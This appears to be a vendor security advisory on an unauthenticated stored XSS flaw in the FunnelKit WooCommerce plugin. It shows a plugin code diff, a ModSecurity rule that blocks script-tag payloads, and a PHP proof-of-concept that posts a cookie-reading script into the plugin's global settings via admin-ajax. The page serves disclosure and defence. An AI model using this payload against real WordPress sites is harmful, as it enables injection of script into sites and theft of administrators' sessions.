+			$get_fields  = array();
 			if ( $optinPageId > 0 ) {
 				$get_fields = WFOPP_Core()->optin_pages->form_builder->get_form_fields( $optinPageId );
 			}
-			foreach ( is_array( $get_fields ) ? $get_fields : [] as $field ) {
+			foreach ( is_array( $get_fields ) ? $get_fields : array() as $field ) {

 				$default = isset( $field['width'] ) ? $field['width'] : 'wffn-sm-100';
 				$this->add_select( $tab_id, $field['InputName'], esc_html__( $field['label'] ), $this->get_class_options(), $default );
 			}

 			do_action( 'wffn_additional_controls', $this );
-
 		}

 		protected function button_settings( $tab_heading = '' ) {
 			if ( empty( $tab_heading ) ) {
 				$tab_heading = __( 'Button', 'funnel-builder' );
 			}
-			$key = "wfacp_inline_key";
+			$key = 'wfacp_inline_key';
 			// Button Controls
 			$tab_id = $this->add_tab( $tab_heading );
 			$this->add_heading( $tab_id, __( 'Text', 'funnel-builder' ) );
-			$this->add_text( $tab_id, 'button_text', __( 'Title', 'funnel-builder' ), __( 'Send Me My Free Guide', 'funnel-builder' ), [], '', __( 'Enter the Button Text', 'funnel-builder' ) );
-			$this->add_text( $tab_id, 'subtitle', 'Sub Title', '', [], '', __( 'Enter subtitle', 'funnel-builder' ) );
+			$this->add_text( $tab_id, 'button_text', __( 'Title', 'funnel-builder' ), __( 'Send Me My Free Guide', 'funnel-builder' ), array(), '', __( 'Enter the Button Text', 'funnel-builder' ) );
+			$this->add_text( $tab_id, 'subtitle', 'Sub Title', '', array(), '', __( 'Enter subtitle', 'funnel-builder' ) );
 			$this->add_text( $tab_id, 'button_submitting_text', 'Submitting Text', __( 'Submitting...', 'funnel-builder' ) );

 			if ( $tab_heading === 'Popup Inline Button' ) {
 				$this->add_text( $tab_id, 'popup_footer_text', __( 'Text After Button', 'funnel-builder' ), __( 'Your Information is 100% Secure', 'funnel-builder' ) );
 			}

-
 			$this->add_heading( $tab_id, __( 'Color', 'funnel-builder' ) );

 			$this->add_color( $tab_id, 'button_text_color', '.bwfac_form_sec #wffn_custom_optin_submit,.bwfac_form_sec #wffn_custom_optin_submit span', __( 'Text', 'funnel-builder' ), '#fff' );
@@ -124,30 +120,24 @@
 			if ( $tab_heading === 'Popup Inline Button' ) {
 				$this->add_typography( $tab_id, 'popup_footer_text_typography', '.bwf_pp_cont .bwf_pp_footer', 'Text After Button Typography' );
 			}
-
 		}

 		protected function register_form_styles() {
 			$tab_id = $this->add_tab( __( 'Label', 'funnel-builder' ) );
 			$this->add_switcher( $tab_id, 'show_labels', __( 'Show Label', 'funnel-builder' ), 'on' );

-
 			$this->add_heading( $tab_id, __( 'Spacing', 'funnel-builder' ) );
 			$this->add_margin( $tab_id, 'label_margin', '.bwfac_form_sec > label, .bwfac_form_sec .wfop_input_cont > label' );

-
 			$this->add_heading( $tab_id, __( 'Color', 'funnel-builder' ) );
 			$this->add_color( $tab_id, 'mark_required_color', '.bwfac_form_sec > label > span, .bwfac_form_sec .wfop_input_cont > label > span', __( 'Asterisk Color', 'funnel-builder' ), '#7A7A7A' );
 			$this->add_typography( $tab_id, 'label_typography', '.bwfac_form_sec > label, .bwfac_form_sec .wfop_input_cont > label' );

-
 			$tab_id = $this->add_tab( __( 'Input', 'funnel-builder' ) );

-
 			$this->add_heading( $tab_id, __( 'Color', 'funnel-builder' ) );
 			$this->add_background_color( $tab_id, 'field_background_color', '.bwfac_form_sec .wffn-optin-input', '#fff', __( 'Background', 'funnel-builder' ) );

-
 			$this->add_heading( $tab_id, __( 'Spacing', 'funnel-builder' ) );
 			$this->add_margin( $tab_id, $this->slug . '_column_gap_margin', '.wffn-custom-optin-from .wfop_section .bwfac_form_sec', __( 'Rows', 'funnel-builder' ) );
 			$this->add_padding( $tab_id, $this->slug . '_column_gap_padding', '.wffn-custom-optin-from .wfop_section .bwfac_form_sec', __( 'Columns', 'funnel-builder' ) );
@@ -156,24 +146,22 @@

 			$this->add_select( $tab_id, 'input_size', __( 'Field Size', 'funnel-builder' ), self::get_input_fields_sizes(), '12px' );

-			$field_typography = [
+			$field_typography = array(
 				'.bwfac_form_sec .wffn-optin-input::placeholder',
 				'.bwfac_form_sec .wffn-optin-input',
-			];
+			);

 			$this->add_typography( $tab_id, 'field_typography', implode( ',', $field_typography ), __( 'Field Typography' ) );
 			$this->add_border( $tab_id, 'field_border', '.bwfac_form_sec .wffn-optin-input' );
-
-
 		}

 		public static function get_input_fields_sizes() {
-			return [
+			return array(
 				'6px'  => __( 'Small', 'funnel-builder' ),
 				'9px'  => __( 'Medium', 'funnel-builder' ),
 				'12px' => __( 'Large', 'funnel-builder' ),
 				'15px' => __( 'Extra Large', 'funnel-builder' ),
-			];
+			);
 		}

 		protected function get_post_type() {
@@ -196,14 +184,5 @@

 			return true;
 		}
-
-		protected function get_module_post( $post ) {
-			if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['selected_type'] ) && 'wffn_op_save_design' === $_REQUEST['action'] && 'oxy' === $_REQUEST['selected_type'] ) { //phpcs:ignore WordPress.Security.NonceVerification.Recommended
-				$post = ! empty( absint( $_REQUEST['wfop_id'] ) ) ? get_post( absint( $_REQUEST['wfop_id'] ) ) : $post; //phpcs:ignore WordPress.Security.NonceVerification.Recommended
-			}
-
-			return $post;
-		}
-
 	}
 }
 No newline at end of file
--- a/funnel-builder/woofunnels/contact/class-woofunnels-db-updater.php
+++ b/funnel-builder/woofunnels/contact/class-woofunnels-db-updater.php
@@ -1457,17 +1457,6 @@
 			$this->schedule_order_reindex_action( $order_id );
 		}

-		/**
-		 * Truncate the contact meta table
-		 * Run when BWF_DB_VERSION is 1.0.3
-		 */
-		protected function empty_contact_meta_table() {
-			global $wpdb;
-			$result = $wpdb->get_results( "SHOW TABLES LIKE '{$wpdb->prefix}bwf_contact_meta'", ARRAY_A ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-			if ( is_array( $result ) && count( $result ) > 0 ) {
-				$wpdb->query( "TRUNCATE TABLE `{$wpdb->prefix}bwf_contact_meta`" );
-			}
-		}
 	}
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-48966
# Blocks unauthenticated AJAX requests targeting FunnelKit's update_global_settings_fields action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-48966 - FunnelKit Unauthenticated Stored XSS via update_global_settings_fields',severity:CRITICAL,tag:CVE-2026-48966"
SecRule ARGS_POST:action "@streq update_global_settings_fields" "chain"
SecRule ARGS_POST:fields "@rx <script|<img|<svg|onload|onerror|javascript:" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-48966 - FunnelKit Funnel Builder for WooCommerce Checkout <= 3.15.0.2 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site

// Step 1: Inject XSS payload into global settings via unauthenticated AJAX
$payload = '<script>alert(document.cookie)</script>';
$settings_data = array(
    'action' => 'update_global_settings_fields',
    'wfacp_nonce' => 'anything', // Nonce check bypassed in vulnerable versions for this action
    'fields' => array(
        'custom_css' => $payload
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($settings_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded'
));

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    exit(1);
}
curl_close($ch);

echo "Payload sent. Check the admin area for XSS execution.n";
echo "Response: " . $response . "n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School